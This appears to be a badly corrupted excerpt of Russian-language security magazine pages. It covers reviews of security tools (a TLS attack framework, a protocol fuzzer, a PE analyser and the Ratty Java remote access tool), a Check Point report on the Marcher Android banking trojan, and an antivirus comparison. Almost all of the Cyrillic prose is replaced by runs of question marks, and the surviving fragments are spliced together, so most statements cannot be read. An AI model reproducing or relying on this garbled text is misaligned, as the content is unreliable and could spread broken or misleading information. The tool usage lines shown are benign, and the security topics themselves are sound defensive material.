?? ?????!
??????:
Auth0r
URL:
github.com/coruws/
SignFinder
???????:
Windows
SIGNFINDER
?????????? ??аPython ?????? ??????? ?а????????
???? ?????? ???????? ??????????? ?аPE32-??????.
??а?????? ?????? ??????? ????? ???? ??????? ????????????, ??????????? ??? ??а????? ?????????????? ????? ???????????? ????????.
????? ?????????? ?а???????? ??????, ???????????, ????? ??? ???????? ??? ??????????:
? ????-?????? ?а?????????? ??????;
? ????????? ?????????;
? ????????? ??а????????????? WinAPI
? ??? (??????? ??????????) ??а?????????? ?????????? PE32.
python SF.py fast path_to_exe
????? ?????????????? ??????? ??????????? ??????? ?????????????? ?????????:
python SF.py head path_to_exe
??? ????? ????????? ?а?????????? ??????:
python SF.py sect path_to_exe section_number
???а????????? ?????? ?????? ???????? ?????? ?????, ??а??????? ?????????? ??????? ?????????
???????:
python SF.py man path_to_exe offset size
part_num
????? ???????? ??????? ????? ????? ??????? ???????? ?а???? ??????, ?????????????? ????????
?????????.
??????? ???????????, ???????? ?????? ???????? ????????????.
??????:
Hugo Gascon
URL:
github.com/hgascon/pulsar
???????:
Linux
PROTOCOL LEARNING
AND STATEFUL FUZZING
Pulsarа? ??? ??????? ?????? ?а????????????? ??????????????? ???????? ????????? ?а?????????????. ?????????? ????????? ???????????? ???????? ?а??????? ??????? ????????? ????????, ?????
???а????????????? ?а??????? ?????????? ??????.
??? ?????? ????? ???? ???????????? ???а????????????? ????? ????? Pulsar ?а???????? ????????
??? ???????? ????????? ???????????? ?????????
??????????? ??????????, ???????, ?а?????????
?а?????? Fuzzing-??????????, ????????? ?????????
?????????? ???????????? ????????? ??а??????
?а????? ???????? ????? ?????? ????????? ??????
?????????.
?????? ?а???????????? ??????????? ?а???? ??????.
1. ????????. ????????, ??а?????? PCAP-?????:
$> pulsar.py -l -p file.pcap (1 pcap file)
$> pulsar.py -b 016169EBEBF1CEC2AAD6C7F0D0EE9026
(1 or more binaries from cuckoo storage)
$> pulsar.py -a (all binaries from
cuckoo storage)
2. ?
???????????? ?????????? ??????. ????????,
???а?????????????:
$> pulsar.py -s -m model_file
??? ???а????????:
$> pulsar.py -z -m model_file
????? ???????? ?а???????????? ?а??? ?????????
????? ??????????? ?а?????? Pulsar: Stateful BlackBox Fuzzing of Proprietary Network Protocols (pdf).
??????:
Ruhr University Bochum
URL:
github.com/RUB-NDS/TLSAttacker
???????:
Windows/Linux
TLS-ATTACKER
TLS-Attackerа? ??? ????????? ??а????? ???????????????? Java ???а??????? TLS-?????????. ??
???????? ?????????? ???????????? ?????????
????????? ?а???????????? ??????? ?аTLS-???????
?а?????????? ?? ???????????, ????????? ??????????????? ?????????. ??? ???? ???????????? ??????????? ?????????? ?????? ?????????? ??????????? ????? TLS-????????? ?а????????? ??? ??????
??????????? TLS-??????????.
?????? ??????? ??а???? ???????????:
? Transport. ???????????? ??????? ???аTCP ?аUDP;
? ModifiableVariable. ???????? ?????????? ??????????, ??????? ????????? ????????? ??????????, ?а????? ????????? ??????????? ?????????? ?? ????? ?????? ?????????. ??????????
?????????? ???????????? ?а?????????? ?????????;
? TLS. ?????????? ?????????, ??а?????? ??????
???????????? ?а(D)TLS 1.2;
? Attacks. ?????????? ?????????? ?????? ????????? ???? (Bleichenbacher, Dtls Padding Oracle,
EarlyCCS, Heartbleed, Invalid Curve, Padding
Oracle, Poodle, Winshock) ?а?????? ???а???? ????;
? Fuzzer. ???????-?????????, ????????????? ?????? ???????????????? TLS-Attacker.
??а??????? ?????? ???? ????????? ?????????
?????????? ?а??????????:
? TLS versions 1.0 (RFC-2246), 1.1 (RFC-4346) ?а1.2
(RFC-5246);
? DTLS 1.2 (RFC-6347);
? ????????? ?????? (EC)DH ?аRSA key;
? AES CBC;
? ??????????: EC, EC point format, Heartbeat, Max
fragment length, Server name, Signature ?аHash
algorithms;
? TLS-?????? (?????? ????? ???????).
FEATHERDUSTER
FeatherDusterа? ?????????? ??аPython ???а?????? ????????????, ??????? ???????? ??????? ????????? ?а???????????? ?????? ????????????
???а????? ?????. ?????????? Cryptanalib, ??? ??????????? ?????, ????? ?????????????? ????????
??аFeatherDuster, ??? ???? ??????????? ?????????
?? ?а??????????? Python-????????.
?????? ????????? ????? ?????:
??????:
Daniel лunicornfurnace╗
Crowley
URL:
github.com/nccgroup/
featherduster
???????:
Linux / OS ?
# python featherduster.py [ciphertext file 1]
... [ciphertext file n]
FeatherDuster ????? ??????????? ?????????????
???????????? ?а???????????? ????? ?????????.
???а?????? ??а???? ?????? ????? ????????? ?????
????????????? ?????? ?????? ???а???????????? ????????????? ??? ??????????????.
??а??????? ?????? Cryptanalib ????? ?????????? ?а???????????? ????????? ?????:
? Vanilla Base64;
? ASCII hex-encoding;
? Zlib compression.
????????????? ?????? Cryptanalib ????? ???????
????????? ???????? ??а?????? ???????:
? ?????????? ?а?????? ????????? (??????? ???а?????????????? ????????? ?????????? ??????????);
? ??????? ??? ????????? ???????? ??????????;
? ECB-?????;
? CBC-????? ?а????????????? IV;
? ?????????? ????????;
? ?????????? OpenSSL;
? ?
???????????????? ????? ?а????????? ?????????;
? RSA-?????;
? ??????? RSA-??????;
? ????????????????? RSA-???????;
? ?????????? ?а?????????????.
????????? ??а??????????? ????? ?????? ??
??????? Cleaning up Magical Crypto Fairy Dust with
Cryptanalib and FeatherDuster (pdf).
??????:
Ivan Kwiatkowski
URL:
github.com/JusticeRage/
Manalyze
???????:
Windows/Linux
MANALYZE
????? ?????????? ?????????????? ??????? ???????????????? ?????-?????? PE-???? ??а???????
?а??? ???????????? ????. ??, ???? ??????????,
??а???, ???а???????, ????????, ?а????????? ?? ??????, ?а????? ????? ????? ???????. ?? ?а?????? ??????
????????? ??а????? ???????. ????? ?????????? ????????????? ???-?? ????, ?????? ??а????? ??????,
???? ????? ??????????? ???? ???????????. ??а?????? ???? ????? ?а????? Manalyze.
Manalyzeа? ??? ??????????? ??????????, ?????????? ??а?++, ???аPE-?????? ?а????????????
?????????? ?а??????? ????????. ??а??????? ?????? ?????????? ????? ?????????????:
? ??????????? ???????????;
? ??????????? ???????????? ??????;
? ?????????? ???????? ClamAV;
? ????? ?????????????? ?????;
? ??????????????
??????
(????????,
WriteProcessMemory + CreateRemoteThread);
? ??????????? ????????????????? ????????;
? ???????? ????? ??аVirusTotal;
? ???????? ???????? (?? Windows).
??????? ?????????????:
manalyze.exe program.exe
manalyze.exe -dresources -dexports
-x out/ program.exe
manalyze.exe --dump=imports,sections
--hashes program.exe
manalyze.exe -r malwares/
--plugins=peid,clamav --dump all
????????? ??а??????????? ?а?а????????? ??????????? ???????? ???а???? ????? ?????? ??а?????
???????.
??????:
Johannes Boczek
URL:
github.com/Sogomn/Ratty
???????:
Windows/Linux/Mac
A JAVA R.A.T.
Rattyа? ??? ????????? ??а????? ????????????????
Java ???а?????????? ?????????? ????? ??? ??а?????
????????. ????????? ??????? ??а?????????? ?а????????? ?????. ?а????? ????? ????????? ??? ??????
??а????????? ???????. GUI-????????? ??????????
????? ?????????? ??а????????? ???????, ???:
? ??? ???????;
? ???????????????;
? IP-?????;
? ?????? ???????????? ???????.
??? ??? ???????? ??????????????? ?а?????? ????????? ???????? ??????????? ?????. ??а?????????,
??? ?????? ?? ????? ?????? ?а??????? ??????
????????? ??а???? ????????. ??? ???????? ????????????????, ?? ?????:
? ???????? ?????? ??????;
? ???????? ?????????? ????????? ???????;
? ???????? ?????????? ????????? ???????;
? ???????? ????? ??????;
? ???????? ??????? ??????;
? ??????? ?а????????? ????.
?? ?а??? ???а????????? ??аJava, ?? ??? ??? ???????
???????? ????? ??а?????????? ???????????? ????????: Windows, Linux, OS ?. ????????? ??????? ????????? ???? ????? ????????? ?а??????????? ????????????????.
??????:
Sanoop Thomas
URL:
halcyon-ide.org
???????:
Windows/Linux
UNOFFICIAL IDE FOR NMAP SCRIPT (NSE)
DEVELOPMENT
Halcyonа? ??? ????? ??????????, ??????????????? ??а???????? ???а???????????? ???????? ???????
Nmap. ???а???, ??? ??а?а?????: ???аNmap ????? ????????? ??? ?????????? NSE-??????? ?а?????????
??? ????????????????. ?????? ????? ??????????
???????? ??аJava ?а????? ?а????? ???????:
? ????????? ??а????;
? ????????? ??????????;
? builder;
? ??????????????;
? ???????.
?а?????, ???, ??? ?????? ?????????? ????????? IDE.
Halcyon ???????? Nmap-?????????? ??? ?? ??????, ???а?аLua-?????????. ??а?????? ???????????
???? ????????? ???????? ?а????? ????????????
?????????? ????, ???аweb-crawling, bruteforcing,
??? ???????? ?а???????? ?????????? ???????????
????????.
??????? ?????????? ??? ??????????? ??а??????????? Black Hat Asia 2016.
MALWAR
MARCHER:
??????
????????
??????
???????????? ????
???? ????????? ?????
??а?????????????
?-????????
???????? ??????,
???????????
??а????????????
Check Point Software
Technologies
???????????? ????????? ??а??? ????? ??????? ?????????? ???? ???? ????????? ?????. ???а???????, ??? ?????
???????????????? ??? ??????????? ??? ?а?а?????????
??????? ?????????? ???????? ?????????. ??а??а???? ???
??? ????????????? ?????: ?? ?????? ????????? ??? ??????? ?????????? ???????? ?????????? Marcherа? ???????????? ??а???а????????? ??????.
MARCHER: ?????? ????
??????? Marcher ???????? ?а2013 ???? ?а???????? ??????????????? ?????????? ?????????????. ??????? ???????? ????? ???????????? Google Play:
??????? ???? ?????????? ?а????????? ??????, ????????? ?????? ?????? ????? ?????????? ???????? ??????. ??а?а????? 2014 ???? ????????? ????????????????, ???????? ?а???? ??????? ????? ??????? ?????? ?????? ?а??????
????????? ????????????? ?а????????. ??????? Marcher ????? ???????????
?а????? ?????????, ?????????????????? ????? ??????????. ??????? ????????? ??а???????? ??????? ??а?????? л??????????? ??? ???а??????╗, ?????????? ?????????? ???а??.
???. 1. ?????? ??, ??????? ???????? Marcher
???????? Marcher ??????????? ???????????? ???? ??????????? ??????
Android, ??????? Marshmallow.
?????????????: ????-??????
?????? ??а??? ??? ???????? ?????????? ???????? ????????? ????? ?????????
?????????. ??а???. 2 ??????? ?????? ??????, ????????????? ?????? ??а??????????? Check Point.
???. 2. ?????? ??????, ????????????? ?????? ??а??????????? Check Point
????????????? ???????? ??? ???????????, ??а??????? ????? ??????????????
?????, ??????? ????? ??а????? ???????????? ????????? Adobe. ?а??????????
????, ??? ?????? ????????? ?????? ????????????? Android.
???? ???????? ??а??????, ???????? ??????????????? ???????, ??????? ???????? ????? ???????? ???????????? ????????? ??????????? ??а???????????
?????????? (??? Google Play) ?а????? ????????? ??????????? ??????????.
???. 3. ?????? ???? ????????? ???????????? ??????????: ????????
???. 4. ?????? ???? ????????? ???????????? ??????????: ???????????
???а?????? ?????????? ???????????, ??? ??????????? ??????????? ?????????? ???а?????????? ????? ??????????? ??????.
??а??????????: ??? ????? ???????????? MARCHER
Marcherа? ??? ???????????? ??????? ?????????? ???????, ?????? ????? ?????? ???????? ???????? ????????????? ??????????????, ????? ???, ???????????? ??а??????????. ??? ?? ???а?а?а?????? ?а??????????, ??????? ??????
???????? ???????????? ???? ??? ?????????????? ?????.
??????? ??????????? ????????? ?????? ?????? ???? ??????????, ????????????? ??а??????????, ?а?????????? ??? ??а????????? ??????, ????? ?????????, ???? ?? ????? ??? ???????? ???а?????????. ???а?????? ????????????
???????? ?????????? ?????????? ??????????, ??????? ?????????? ??????????? ???????? ??а???????? ????? ???а????? ??????? ??????.
??????????, ????????? ?а???????? ????? ?а???? ????????, ??? ?????????????:
? Westpac;
? Bank West;
? Commonwealth Bank of Australia;
? George Bank;
? ING Direct Australia;
? Bank of South Australia;
? NABа? National Australia Bank.
?????? ??????? ???????? ???????? ?а???????? ????? ????? ????????? ?????,
??аMarcher ???? ?????? ???? ?а???????? ?????, ?????????? ???????????
??а??????????, ?????????? ????????????? ???????? ?а?? ????????. ???а??????
????????? ????????? ?????? ???? ?????? ?а??????, ??? ????? ???????????
?????????????????.
?????????? ??????????? ??????: ???????? ??????
?????????? ???????
??? ????? ???????? ????? ???????? ?а???? ?????? ???????? ????. ?а???? ??
??? ?????????????? ??????? ?????????? ??а??????????? ?????????? ???????
?а??????, ??? ??? ?????? ??????. ??? ???????????? ??????, ????????? ?а?????????? ?????????:
? ????????????? ??а?????????? APK-?????
??????? ???????? ????? 13 ????? ??????????, ?????? ??а???. 5.
???. 5. APK-?????
? ?????????? ??????????? ??а?????????? ??????????
Marcher ???????? ????? ?????????? ????????????? ??????? ?а?? ????????, ????????? ?? ??????????? ?а???, ??? ??а?? ???? ????????? 7900 ???????? (???. 6).
???. 6. ?????????? ??????????? ?а?????????? 7900 ????????
? ??????? ?а??????? ?????, ??????? ?? IMEI, ???????? ??????????, ??????
??, ????? ????????, ????????????, ?????? ?а?????? ??????
?????? ???????? ????? ?????? ?????, ?????? ??а???. 7.
???. 7. ?????? ?????
? ???????????????? ?????????? ?а540 ????????? ??????, ??????? ???, ?????, ???? ????????? ????? ???????? ?аCVC (???. 8)
???. 8. ?????? ????????? ????
? ?????????? ??????? ?????? 300 ????? ???а?????? ?????????? (PayPal,
Gmail), ?????????????? ?аBase64 (???. 9)
???. 9. ?????? ????? ??а???????????
? ??????? ???а? ?????????? ???а?а??????? ???????? ?????????. ?????????????? ?????? ??????? ??? ???, ????? ??????? ?????? ?????????????
?????????????? (???. 10)
???. 10. ?????????? ???
??????? ?????????? ???а? ??а???. 11.
???. 11. ??????? ?????????? ???
? ?а???????, ????? ??????! лG Data Android Security Plus ??-???????? ???????.
???? Android-?????????? ???????? ??а???????╗ (???. 12)
???. 12. лG Data Android Security Plus ??-???????? ???????. ???? Android-?????????? ???????? ??а???????╗
? ??????? ?????? ?????????????? (???. 13)
???. 13. ??????? ?????? ??????????????
????????? ?????????????? ???????? ???????????
?????????
??а????? ???? ????????? ?????????? ??а??? ?? ?????? ???????? ???????
??????????? ?а????????? ?а??????????????? ?а???????????? ???????????
????????. ????????? ??? ???? ?? ????????? ?????????? ??????? ?а???????? ??????????? ????????, ?????????? ?а???????? ??аAndroid-??????????,
??а???? ?а?????, ??????? ??????? ?????? ???? ?????????????? iOS-?????????
(?????? Wirelurker ?аYiSpecter). ??? ?????? ?????????? ??????? ?????????? ????? ???????????? ??а???а?????????? ?а?????????, ????????????? ???????
????????????? ?а??????? ?а?????????? ??? ????????? ??а?а?????????? ??.
???а???????, ?????????????, ??????????? ???????, ????? ???????? ?????????? ???????, ?а??? ??????, ??? ?????. ??????? ???? ????? ????? ?????????? ???????????? ???? ??????????? ??а??????? ???-????????, ????
?????? ?????? ????? ????????? ????? ?а?????????? ??????????, ??????? ??????????? ?? ????? ????????. ??а????????? ???????? ????????? ??????????? ????????:
? ???????? ????????? ??????? ????? WhatsApp-??????????, ?а?????????? ???????? ????? ?????????? ????????????? ??а??????? ???-????????
???а?????? ????????????;
? л?????????? ????????╗, ???????, ?????? ???????? ??????????, ????????? ???????? ????????? ??????????? ????? ?а???. ??????? ??а????? ??????????, ?????? ??а????????????? ???????????? ????????? ?????, ??????? ???????? ?????? ?а?????????? ?а?????????? ?? ?а????????? ?????.
????? ????????? ?????????-?????????? ?а???а????????? ?????????, ????????? ?????????? ?????????? ?а????????? ????? ??а???????????.
???а???????? ???? ?????? ??а????????? ???????????? ??
?а???????????? ??????? ?????? ????????? ?????????: ???????????? ??,
??????????? ??????????? ?????????? ?а?????????????? ?????????; ??????? ???????? ??????? ?а????????-????????, ??????????? ?а???????? ???????
?а????????????? ??? ?????????? ?????? ??? ??????????? ??. ??? ??? ???????, ??????? ?????? ???? ??а?????? ????????? ??????????. ???? ????????
????? ??????? ???????????, ?? ???????????? ??????????? ??? ???????????????: ??? ?????? ??????? ?????? ????? ?????? ?а???????? ???????.
??а???? ?????????? ???????? ??, ??????? ?????????? ???? ?????? ??????????,а? ????? ??? ?а???? ???????????? ?а???????? ??????????, ????
???? ??? ??а?????? ?????? ????? ??????? ??? ???????????? ???а????. ?????? ???????? ??а??, ????? ????? ??????? ??????? ????????? ?????????? ??????????. ???????????, ????????????? ?????? ?а?????? ?а?????????????? ???
?а????????? ??????????, ?????? ??????? ????????, ????????????? ?? ???
?????????????. ???? ????????? ????? ???, ???а???????????? ???-???? ?????
???. ???????? ???????? ?????? ?????, ??????????? ????? ??? ??????, ????????? ?а??????? ??? ?а???????? ?а???????? ?????. ????? ?????????? ?????? ???а???????? ??????? ?????? ?а??????? ??? ?а????????-?????а? ??????? ??????? ???????? ??????. ?????????? ??а??? ???? ??а?????? ??????, ???
???а??а?????, ????? ?????? ?????????? :). ??? ?а?????? ???????.
???? ???????? ??? ??????? ?????????????, ??, ?а?????????, ??????? ????????? ????????? ????? ??а????????????? ???????. ??? ??? ??????? ?а?????
??????? ?а??????? ?аAndroid-????????? ???? ?а??????? ????????? ??а????????
???? ?а??????? ?????. ??????? ?????????? ?????? ?????, ????? ?а???? ??????
??? ????? ???????? ???????? ???????? ????? ????????.
?а???????????? ???????? ?????: ?????? ??????????? ??? ???????????
??????? ????????? ?????????, ?????????, ???а???????, ?а??? ???????? ????????? ?????? ?а????????? ???????? ?а????????. ?а?? ?????????? ????????????? ??а?????? ?а????????? ?? ???? ????????????????, ??????? ???????
????????.
MALWARE
???? ??????????
????? 3
???????????
????????? ????
CLAM SENTINEL,
FORTICLIENT,
TENCENT
? NANO
?????????
84ckf1r3
84ckf1r3@gmail.com
?????????? ?????????? ???? ?а???????? ?????? ?????????? ????????. ??? ??????????? ???а??????? ???????
?????? ?а??????????????? ????????? ?а???????????
???а????? ?????????? (?? ?а?????? ??????? ????? ?????????? ?????????? ??????????? ?а????). ??????? ?а????
????????????? ??????, ?а????? ??? ??????????? ?????????? ???????. ??а???? ??? ?? ???????? ClamWin Free
Antivirus ?а??????? Clam Sentinel, FortiClient for Windows,
NANO ????????? ?аTencent PC Manager.
???????? ????????????
???а?а?а?????????? ???, ?? ????????? ??????????? ?????? ?а?????? Windows
10 Pro (32-?????? ?????? 1511, ?????? 10586.164) ?а??????????? ?? ?????????. ???????? ??????????? ????????? ???????????, ???а???????????
32-?????? ?????? Windows 10 ????? ??а16 ????? ?????????? ?????. ?? ???????? ?????? ??????????? ?????? ????
???? ???????? 25 ?????, ????? ?????????????? ???????
??а????????? ?????? ??????????, ??????? ??????????, ???????? ????????? ?????? ?а??????????? ?????????, ????
??? ??? ?? ??????? ?????? ????? ???????. ???а???????
INFO
???????????? л???????? Windows╗ ?а?????? SmartScreen
?????????????? ???? ?????????, ?а???????? ??????? ????????? Edge
????? ????????? ????????.
????????
???????????????
?а?????? ????????? ??? ?????????? ???? ?????????.
????????? Flash
????? ?????????? ?? ?????? ????????? ??а?????? ???Player (?? ????????
??? ??а?????? ?????? ????? ???? Clean MX. ??? ????????
Microsoft ?????????
?????? ???????????? ???????, ?????????? ?а??????????
?????? ??????????,
??????? ??? ??????
???-???????, ?а????? ??????, ??а??????? ???????????? ????аInternet Explorer),
???? ????????????? ????? ??? ????? ????????? ??????.
??а??а????????????
?? ???????? ?????? ??????? ???? ?а?????????????? ?????????????????
??????. ???????
?????? ?? ???а????? ??????-?????? VirusTotal, ??? ?а?а??Java-??? ?аWindows
?????? ????? Windows 10 Pro ???а??????????. ????? ?????
10 ???????????
?????? URL ?????????? ?а???????? Edge. ????????? ????????????? JRE
???? ???????????? ?????????? ????????????????, ?????
????? IE v. 11.
???а?а??? ??????????.
CLAMWIN FREE ANTIVIRUS V. 0.99.1 + CLAM SENTINEL V. 1.22
?????????? ????????????? ????????? ClamWin ???????? ?а????? Windows
98а? Windows 10 ?а???????????????? ?а????????? ????????? ?????? ??? ????????? GNU GPL. ?????????? ?? ???????????? ????? ?????? ?????? ??а??????? ?а??а????? ?????? ?????? ?а???????? ???????. ???????? ??? ?????
?а??????? ?????? ?????????? ?????????а? Clam Sentinel, ?????????? ??????????? ??????????? ???а?????? ????? (Andrea Russo).
??????????? ???? Clam Sentinel
????????? ????? ??????????? ???????? ?????? (?????? ??????). ???? ??????????? ?????????? ClamWin ?а????????? Windows ?а???????? ?????? MS
Outlook. ??а?????? ????? ???????????? ???? ClamWin ????????? ????? 4,2
???????? ????????. ?????? ?а?????? ????????? ?а?????? ?????????? ??????
???????? ??а????? 120 ?????.
????????? ??????????? ????? ??????
????? ????? ????????? Clam Sentinel ?????????? ??????? ?????????????? ?????. ?а??? ???? ????????? ???????????? ??????????? ??а???????, ?а??? ????????? ????? л?????????╗ ????????. ??????? ?????
?????? ????? ?????????????? ????????, ??а?? ??а???????? ???????? ??????????? ?????????????? ????????? ?а???????. Windows 10 ????????? ???????????
?а?????? ????????? ????? ?а????? ???????????, ??????? ?а?????????????? ?????? Clam Sentinel ?????
?????? ?????? ???????????? ?????????а? ?????????
?????? ???????.
?а?????? ????? ???а??????? ??????? ??а??????????
???-???????? Clam Sentinel ??????? ????????? ?а?????-??????? ??????????? ??? ????? ?а??????? ?????????????? ??????? ?а???????? ??? ?а????????, ??????
??а???? ????????. ?????? ?? ?????? ????? ?? ??а????????? ?????? ?????? (Trojan-Downloader) ??а??а????????????, ??а??а?????????????? ???????. ??????????? ???
???? ??????????? ?а?????????? ????????? ?а???????.
WARNING
??? ????? ???????????
?????? ?а????????????????? ?????. ??????????? ????? ???? ????????? ?а?????????????
????????. ????????????
????????????????
??????????? ????????
?????????????? ??????????? ?а???????????
????????????. ????????
?а????? ??а????? ??????????????? ??а?????
????????? ????.
Clam Sentinel ????????? ?????
?? ?? ????? ????????? ?а??????? ?а????????? ?????. ClamWin ?????????????? ???????? ?????????? ???????? ?а???????? ?????? ???? ???а????????????
??????????? ??? ????? ???????.
??а??????? ??????? ?а????????? ???????? ?????????? ??????????? ????
(.exe) Clam Sentinel ??????????? ????? ????? ????????? ??? ????????. ??
??????? ????????? Trojan.Hupigon ?а?????????? ??? ?а????????.
ClamWin ??????? ????? Hupigon
?????? ?а??????? ????? ???? ????? ???а?????? ?????? ??а????????? ?????????? ??????. ClamWin + Clam Sentinel ????????? ??, ????? ??а???????????????? ???????? ?????????? ??????? Amazon ?аAOL.
Clam Sentinel ??а???????? ??а???????
?а????? ?а?????????? ?????? ???а????????? ????????? J2ME ?????????
ClamWin ??????? ???????. ????????? ??????????? ??????: ??????????????
JAR-???? ??? ??????????? ??????? ??а???????? ????????. ?????????? ?????????? ?а???а??????? ??????? ?????????? ???? ???? JAR ?а?????? ZIP. ?? ??? ????????? ?а???????? ??? ??а????, ???а? ????????? ??????? ??? ??а???? ????????.
ClamWin ????????? ?????????????? ???????
?????? ??????????? ?????????? ???а??аAndroid ClamWin ????????? ???а?а??????????????, ??? ?а?а?????? ?????? ????????????. ???????, ???????????
???а??а???????? ?????? ??? ????? ???? л????????? ???╗, ??????? ?? ??а???????. ????? ?????????: 4 ??а10 ?????? ???????? ???????.
FORTICLIENT
FortiClientа? ??? ????????? ????? ??????????? ?аVPN ?а?????????? ???????????, ???-???????? ?а???????????? ???????????. ???????? ?а??аWindows
??аXP ??а10 ?а????? ?????????????? ?????????? ??а???? ??????????? ?а????????? (? ??? ???аVPN).
????????? FortiClient ?????????? ???????????? ????? (?????? ???? ?????)
?а?а????????? ??????, ?????? ?? ???????? ??а????????????? ????????????????.
????? ??а?????? ???????????? ????????? л?????????? ??????????? ???????╗, ???? ??а???? TCPView, ?а??? ????? ??? ??? ???? ?? ????????. ????? ?????
????? ??????????? ??????? ???????? ???????, ?а????? ????????? ???????????? ?????????????.
????????? FortiClient
????????? FortiClientа? ?????-???????. ?????? ???????, ??а????? ????? ?????
????????? ????????? ?????????? ??? ???? ?????? ??? ????????. ?????????
??????????? FortiClient ?????? ????????? ???????? Google Translate. ???????
л????? ??????????╗ ?ал???????????? ??????? ???а????????????╗ ??? ?????
????? ??????? ??? ?а????????.
FortiClient ????????? ???????? ?????????? ???-???????
?????? ?????? ????? FortiClient ?????? ???????. ????????? ?а??????????????? ??????? ?????????? ????? ?а???? ????????, ?????? ??????????? ?????????????? ???-???????. ??? ?? ????????? ?а?? ???? ?????? ?а??????? ??а???????, ?????? ????? ???? FortiClient ????????. ??????????? ?????? Hupigon
???????????, ???????? ??????????? ?????? ?? ???? ????? ?а?????????? ?а??????? ??????. FortiClient ???? ??а??????????. ??? ???? ???????????? ??? ?????? ??а??? ????? ?????????????, ??а????? ????????? ??а????? ????????????.
????? Hupigon ?????????
?? ???? ????????? ??????? ?? ?????????? ????? ???? ?????, ??????? ???????
????????? ??????????? ????? ????? EXE, JS, JAR, ZIP ??? ??????? ??а?????????? ?????. ?????? ??????, ??? ?????? ?????? ?????????, ???? ??????. ???
????????? ????????? ????????? ?а???????? ????? ?????????: ?????? ????
??????????? ??.
Forti Client ???????? 9/10
????? ?????????: 9 ??а10 ?????? ???????? ???????; ?????? ??а??????? ????????.
??????????? ??????
MALWARE
???? ??????????
????? 3
???????????
?????? ??????
????????? ???? CLAM SENTINEL,
FORTICLIENT, TENCENT ? NANO ?????????
NANO ?????????
??а?????????? ???????????? ????????????? ?????????? ????????? л????╗
?а???? ????? ???????????? ????????????? ???????. ????? ????????, ???? ?????????, ?а???? ??????? ????? ?????. ????? ???? ??????? ?????, ?????? ???????, ??????, ???? ???????? ????? ???????????? ??????????? ?????? ?????????????? ????????.
?????????? ????????? ???аWindows (XP SP3а? 10) ??а???ал????а?????????╗ ?? ????? ????????? ??????? ??????????? ???? ???а????????? ?????????? ???????? (????: ????????? ?????? ??а???????????).
???? ???????? ????????? ???????????, ????????? NANO Security Ltd,
??а?????? ????? ?????, ?????? ??? ??а???????? ????????? ????????? ??????
NANO ??????????.
?????????? ???????? ?????????
??????-??????????? ???????? 434 ?????, ?а???а?? ?????????? ??????????
2а????? ??а?????. ????? ?????????? ??????? ??????????? ???????????? ?????????? ??а???? ??????.??????? ?а?????? ????????????? ????. ????? ????????? ?????????? ?????????????? ??????????, ?а?? ????? ???????????? ??????? ?а???????????? ??????????? ?????? Pro. ???? ?? ???????? ?????? ???
??????а? ??а?????????! ??? ??? ??а??? ????????.
????? ???????? ????????? ?????? ??? ?????? ??а???? ?????????? ?????
???????? ?а?????? ???????. ?а???? ???????? ????? ????????? ?а??????? ?????????. ????????? ????????????? ??????? ?????????? ?????. ??????? ????????? ?а??? ????????? ?а??? ???????????? ???а??а??????.
????????? NANO ??????????
?? ?? ????? ???????? ?а????????? ?а????????? ???????. ??? ??????? ?а?????,
???????? ???????? ???? ???????????? ???????? (???? ?????????? ?а?????
?????????) ?а????????????? ????????????? ?а??? ???????? ?а?????? (PID).
????? ??а???????????? ???? ????? ??????? ???????? ????????, ?а??? ?????
??????????? ?а?????? ????????????.
?????? ???? NANO
?????????
??????
???????.
?????????? ???????? ??а???????????, ?а???????
?а?????-??????? ???
???????????????
??а???????????? ??????????. ?????? ?а??????
????? ???? ?????????
??а???????: л?????????????╗ ???????? ???????????? ??????????
????????????, ?????????
????????????
????????????? ??????,
?????????????? ?а????
??????????? ?а????????????? ??????? ?а????? ????????
?????
???-????????.
?????? ????????? ???
????? NANO ????????? ????????. ?? ???????? ????????? ?????????? ??????
?а????????? ????? Hupigon, ????? ???????????? ??????.
NANO ????????? ?а???? ??а????? ?????
??а??????? NANO ????????? ???????? ??а????. ?????????? ???????? ??????????? ???а??????????????. ???????? ?? ?а???а???????? JAR-?????, ???????? ??????? ?а??? ????????????. ?а??????? ????? NANO ????????? ???????? ????????? ????? ZIP ?а?????????? ?????-??????, ??а????????? ?а???
?????? ???а?????????? ???????????? ??а???????.
????????? ???????
??? ?? ????????? ?а?а????????? ?????. ????????????? APK-???? ??????????
???а???????, ??а??? ??????????????? ???а??????? ???а?????? ????????????.
??????????? Trojan.SMS ???а?????? ????????
????? ?????????: 5 ??а10 ?????? ???????? ???????, ???а???? ?а???? ???????
???а??????????? ????? ????????????? ?????? ????????. ?????? ??а???????
??а????????.
TENCENT PC MANAGER V.11.4.
???????-???????? Tencent (?????????, ?????) ??????????, ??? ??? ?????????? ????????? PC Manager ???????????? ?????????? ?????? ????????????
??????. ???а???????? ???????????, ??? ?????? ???а? ??? ??????????? ??а?????? Tencent engine (????????, ????????? + ?????? ?????????????? ???????),
?а?????????а? ??????????????? ?аBitDefender. ?? ???? ????????????? ??????
??????? ?а??? ???-???? ???, ??а??????????? ???? ?а???? ?????.
???????????????????? ?????????
???а????????? ????????? ???????? 245 ?????. ???а?а?а?????? ?????????? ?а????? Metro, ??? ????????? Tencent PC Manager ?????????? ??? ????????? ??????? ?а?????? ??????? ???? ??????. ?????????, ????????????? ?????? ?? ?????
???-????????, ????????? ?а???????? Realtime protection ?аDownload protection.
?????? ????? ? ??????? ???а????, ?а?????? ???????? ???, ??? ????????? ???? ????????? ??? ??????????? ??а????????? ????? ?????????? ??а?? ????.
????????? Tencent PC Manager
?????? ?????? ?????? Tencent ????????... ????! ?? ?? ????? ??????! ???????
?? ????? ??????????? ???????? ????? ???????, ????????? ???????? ??????
????? (? ?????)?
Tencent ??а?????, ????? ????? ??? ??? ?????
????????? ????????? ????? ??а???????? л????????╗ ???????.
?????????? ??а????!
??? ??? ??? ?????: PC Manager ????????? ?????? ?аAPK-?????. ?????? ???????? ?????? ???????? ???????.
?????? Tencent ??????? ????? ????, ??? ????????? ??? ??????????? ?????? ??????
????? ???? ?????????? ????? ?????, ??????? ?????????? ?????-???????
?а????????? ?а????????????. ????, ?а??? ??? ??????? ?????????. ?????????,
?????? ??? ??? ????? ?????? л??????╗ ?а???????? ??????? ???????? ??????????? ????????????
??????? ????????? ??а????????? ??? ???. ????? ????? л????????? ?????? ????? ??????╗а? ????? ??????? ??? ?????? ?????????? ???????????
??????? ??? ???. ???? ???? ??????????? ??????, ?а??????? ????????? ???????
????????? ??? ?????? ?????, ?а????? ???????? ????? ??а??? ???а?????? ????????????.
????????? ??????? ??? ???? ???? ?а?????? л???????╗ ?а????????? ???????????, ???????? ????????? Tencent ??а???????????? ???????????.
???????????, ?????? ????!
